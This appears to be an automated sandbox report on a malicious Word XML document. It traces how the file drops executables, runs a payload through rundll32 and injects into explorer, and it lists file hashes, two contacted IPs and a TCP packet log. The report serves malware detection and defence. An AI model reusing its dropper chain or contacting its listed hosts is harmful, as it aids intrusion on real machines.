Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\edg1.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\edg1.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\edg1.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\WINDOWS\system32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Monitors certain registry keys / values for changes (often done to protect autostart functionality)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXERegistry key monitored for changes: \REGISTRY\USER
Starts Microsoft Word (often done to prevent that the user detects that something wrong)Show sources
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXEProcess created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Language, Device and Operating System Detection:

barindex
Contains functionality to create pipes for IPCShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0
Contains functionality to query local / system timeShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0
Contains functionality to query time zone informationShow sources
Source: C:\WINDOWS\system32\rundll32.exeCode function: 4_1_20001DF0 GetProfileStringA,CreateEventA,GetWindowsDirectoryW,SetHandleCount,DeleteTimerQueue,CopyFileExW,GetProfileSectionA,FindNextVolumeW,MoveFileWithProgressW,GetTimeZoneInformation,InterlockedPopEntrySList,GetNamedPipeHandleStateA,GetEnvironmentVariableA,WTSGetActiveConsoleSessionId,GetCompressedFileSizeA,IsProcessorFeaturePresent,#200,CreateWaitableTimerW,SetFileShortNameW,WinExec,GetSystemDefaultUILanguage,GlobalFree,SetCommTimeouts,GetMailslotInfo,EnumCalendarInfoExW,VirtualQueryEx,QueryMemoryResourceNotification,InterlockedExchange,SetLocaleInfoA,DeleteFileW,FindNextChangeNotification,ReadFileScatter,DeleteFileA,DeleteVolumeMountPointW,SetConsoleWindowInfo,#260,EnumResourceNamesA,IsValidLanguageGroup,lstrcmpiW,UpdateResourceW,CreateWaitableTimerA,VirtualQuery,SuspendThread,EnumSystemCodePagesA,GetConsoleSelectionInfo,#134,UnhandledExceptionFilter,CreateDIBPatternBrushPt,SetComputerNameW,CancelWaitableTimer,SetEndOfFile,GetFullPathNameA,WriteConsoleOutputA,WriteProcessMemory,SetFileTime,lstrcmpW,Sys4_1_20001DF0
Contains functionality to query windows versionShow sources
Source: C:\edg1.exeCode function: 3_2_00404002 GetVersionExA,3_2_00404002
Queries the cryptographic machine GUIDShow sources
Source: C:\edg1.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Queries the installation date of WindowsShow sources
Source: C:\edg1.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: C:\edg1.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: C:\WINDOWS\system32\rundll32.exeRegistry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Queries the installation date of WindowsShow sources
Source: C:\edg1.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
Queries the volume information (name, serial number etc) of a deviceShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\word.xml VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEQeruies volume information: C:\ VolumeInformation

Yara Overview

No Yara matches

Screenshot

windows-stand

Startup

  • system is xp
  • MSOXMLED.EXE (PID: 1048 MD5: 02A96B3890D0E10418FAA8D4AECC872A)
    • WINWORD.EXE (PID: 1124 MD5: 7A0FA3A0282B4630F3768A74441D4BAE)
      • fdgfdgdfga.exe (PID: 2056 MD5: B2E67B899A51C9FBF5320CECF6F63269)
        • edg1.exe (PID: 3808 MD5: 52C358A175B057C75B398839EF9340BD)
          • rundll32.exe (PID: 3248 cmdline: rundll32.exe C:\2.tmp NotifierInit MD5: 037B1E7798960E0420003D05BB577EE6)
            • explorer.exe (PID: 1564 MD5: 12896823FB95BFB3DC9B46BCAEDC9923)
  • cleanup

Created / dropped Files

File PathType and Hashes
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\fdgfdgdfga.exe
  • Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • MD5: B2E67B899A51C9FBF5320CECF6F63269
  • SHA: 1D2740772B4C74CD41083B0F759354B395ABE3DF
  • SHA-256: 34BA83169C0475B1731E267E8CA3BC20F5C1B618DF4C05737A8C000D59266C3C
  • SHA-512: 7BA8E6545ECA56686D189D8CEAB6EC953A6A767505ACBC90F11E9241B97C1288082DDF8871E896A0590B6FB1382456229BAE49B6E6177E3C36D085DF3D3B6C65
C:\Documents and Settings\Administrator\Application Data\Microsoft\Crypto\RSA\S-1-5-21-507921405-1960408961-839522115-500\a18ca4003deb042bbee7a40f15e1970b_9503bf60-694c-49aa-8110-186521d35f6e
  • Type: data
  • MD5: A8196AA896D33507D40B46DD81CB7ABA
  • SHA: 0B76263BEBDACA6B1AFBFA7607688D2D93064AEA
  • SHA-256: 897BD29A584F115A81ABEEF2B30091FDA3172CD3E37D900EB6BD1336D1D1CB64
  • SHA-512: 90580C59BE881D341FF413E3F233C50E9A11D467B229D1CD37F356995941F9970F10DEBAEBF8C3BF6E6833A7D564179E6F34D44430B8A770D1B8BA7C88E958ED
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\Local Disk (C).LNK
  • Type: MS Windows shortcut
  • MD5: D42E549AFDAF8BAD31F99C99E14DFC5F
  • SHA: E1155E074D0D1E629848A737D7796E327B320244
  • SHA-256: 0A6422DE5AEB37451BEB9D66C065E40933518D02E8A5CAEDB79F8679F216412B
  • SHA-512: 7A02629AFB970570CE4EF38D5EB40495A925432B55AEC3A42D0F55D497BAF54C6170FD4289C58EB34295CA5986B34E66F44D2EECF4D8834430D0FEF4A1CEFACC
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\index.dat
  • Type: ASCII text, with CRLF line terminators
  • MD5: 4FE2FA87619310611EC62D9CDBF9EA3E
  • SHA: 6326C7BEFC9661AAB9AC627AC2D1E2F45BBDDBBD
  • SHA-256: B6DE1C18CB7DC907928ABA4F1C09CFAA1B8541CF13A3D72388A5FF23873AE9B5
  • SHA-512: 2EE5C8F28F8C80E189C07CCCDBFD33AED02EBEF948F7DB5B9157CEEA26FA31104483F38293C0D503F15809C00C2AD99712AD5FD12C4E6EE7BE4E14EA5EA25150
C:\Documents and Settings\Administrator\Application Data\Microsoft\Office\Recent\word.xml.LNK
  • Type: MS Windows shortcut
  • MD5: 8386BA6662D58255D529533D05A54CF6
  • SHA: B2AC70D512DB60C086882D41E71FBBB73C4B4CD2
  • SHA-256: C5455362656F8C80DCA985AA2AA908F077F91DCCEDEC83645FFE2BD1C8A9AED3
  • SHA-512: 358481BAD4153ABDBCEA2BD02BEF36B86466CDDB375B685C5D39ABCE0CBB3546EAD512BCAF5322018DC84B48936B61AC1FD7C544BC646DC53533879D0515F9F1
C:\Documents and Settings\Administrator\Application Data\Microsoft\Templates\~$Normal.dot
  • Type: data
  • MD5: 05A02048D6F36640223C02FE5E3F1D00
  • SHA: 65AB561B72E64216C924D3447074777DDC46F7BD
  • SHA-256: EA84AD79A9AE4A2C3DF2A1985190203DF12BEDEAB9BBA7A0933C92ACD1932AB1
  • SHA-512: 74BE6B98CFEEFF086544F5242FBE1FF5A44D1EB4FCEB4F2155220C8B223907184100EEB233F890865211AA9D34DEA81BAAF1F64675251ED55956409A619A4FA8
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\RC9GAWT2\abs5ajsu[1].exe
  • Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • MD5: B2E67B899A51C9FBF5320CECF6F63269
  • SHA: 1D2740772B4C74CD41083B0F759354B395ABE3DF
  • SHA-256: 34BA83169C0475B1731E267E8CA3BC20F5C1B618DF4C05737A8C000D59266C3C
  • SHA-512: 7BA8E6545ECA56686D189D8CEAB6EC953A6A767505ACBC90F11E9241B97C1288082DDF8871E896A0590B6FB1382456229BAE49B6E6177E3C36D085DF3D3B6C65
C:\~$word.xml
  • Type: data
  • MD5: 05A02048D6F36640223C02FE5E3F1D00
  • SHA: 65AB561B72E64216C924D3447074777DDC46F7BD
  • SHA-256: EA84AD79A9AE4A2C3DF2A1985190203DF12BEDEAB9BBA7A0933C92ACD1932AB1
  • SHA-512: 74BE6B98CFEEFF086544F5242FBE1FF5A44D1EB4FCEB4F2155220C8B223907184100EEB233F890865211AA9D34DEA81BAAF1F64675251ED55956409A619A4FA8
\ROUTER
  • Type: GLS_BINARY_LSB_FIRST
  • MD5: 3D5AE739538687F8A2836A2CA4646348
  • SHA: 8C911DD5BEE1720F9FA98BA290DB6D0166C83100
  • SHA-256: B077AA634B286F5398DF761C996AD6FD6098B78EB1E34C12407F6D303C5219BA
  • SHA-512: 02407CE1E41DE45B46B24F13425BDBCD92A43217FB8D988416303C1B2B03FA9926433F85129EC389E2F2E6B84BEE02C650051DDAB0125C4251832A25A297F9A0
\srvsvc
  • Type: GLS_BINARY_LSB_FIRST
  • MD5: 00010789CF97BAA5F49E8C7BF0605D58
  • SHA: 87D5F372BA2319C3F0475EB7D6EABEA3178E7CB2
  • SHA-256: 6547A2B904DAA11D272A62264A922997366AC2156B29D54B538C81DBC2A5A17D
  • SHA-512: DF1D3889AC3A75BD9499295C951880E6F69F8501D1A981A9F241845BCD5E609F58DC8278F8B4F670E5AC31864956DA528643EF97F8F3320AD3165E0F0EDEA769

Contacted Domains/Contacted IPs

Contacted Domains

No contacted domains info

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryPingableOpen Ports
62.76.176.203Russian Federationunknownunknown
178.32.184.11Franceunknownunknown

Static File Info

General

File type:XML document text
TrID:
  • Microsoft Office XML Flat File Format Word Document (ASCII) (139530/1) 66.11%
  • Microsoft Office XML Flat File Format (ASCII) (66519/1) 31.52%
  • Generic XML (ASCII) (5005/1) 2.37%
File name:word.xml
File size:21608
MD5:d221ab599418bbc890cf3f515babb287
SHA1:88d98e18ed996986d26ce4149ae9b2faee0bc082
SHA256:aa3bd4deeb9207fbb70fcd3bff6803e0130ecd3c1f075267d4b8d60ca068ac37
SHA512:ab04c44a70eb060c8cd93cba4699cbd12c46a08516edfdd3904b799ad6152240aab1e970653650f5241cd4dce15a7d0e9a7e92cfe2fdfffa18834549a507a764

File Icon

Network Behavior

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Mrz 4, 2015 14:54:05.656595945 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:05.656629086 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:05.656743050 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:05.658328056 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:05.658348083 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.185419083 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.213558912 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.213582993 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.213702917 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.213716984 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.213826895 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.213834047 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.394278049 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.403048992 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.416125059 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.416143894 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.416212082 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.416232109 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.416403055 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.417393923 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.417418957 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.417423010 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.417517900 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.424489975 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.424596071 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.424614906 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.427887917 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.427906036 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.428009987 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.428029060 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.428184986 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.524981976 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.536868095 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.536885023 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.536988974 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.537009954 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.537118912 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.545722008 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.548477888 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.548495054 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.548595905 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.548614025 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.548748016 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.553347111 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.553354025 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.553369045 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.553450108 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.553487062 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.554785013 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.556518078 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.556524038 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.556629896 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.556647062 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.556771994 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.558836937 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.558852911 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.558856010 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.558959007 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.559794903 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.559811115 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.559915066 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.559932947 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.560056925 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.560074091 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.647552967 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.647697926 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.647722006 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.647999048 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.648016930 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.648129940 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.648149014 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.648509979 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.649527073 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.649544001 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.649549007 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.649657011 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.649708986 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.649995089 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650011063 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650016069 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650131941 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.650183916 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.650460005 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650466919 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650470018 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.650584936 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.658936024 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.659043074 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.659063101 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660007000 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660023928 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660135984 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.660154104 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660334110 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.660958052 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660964966 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.660978079 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.661062956 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.670073032 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.670182943 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.670192003 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.670329094 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.670336008 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.670423985 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.670432091 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.670582056 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.672883987 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.682177067 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.682183981 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.682284117 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.682292938 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.682398081 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.709475994 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.719829082 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.719846010 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.719959974 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.719980001 MEZ80801031178.32.184.11192.168.1.10
Mrz 4, 2015 14:54:06.720103979 MEZ10318080192.168.1.10178.32.184.11
Mrz 4, 2015 14:54:06.720417976 MEZ80801031178.32.184.11192.168.1.10
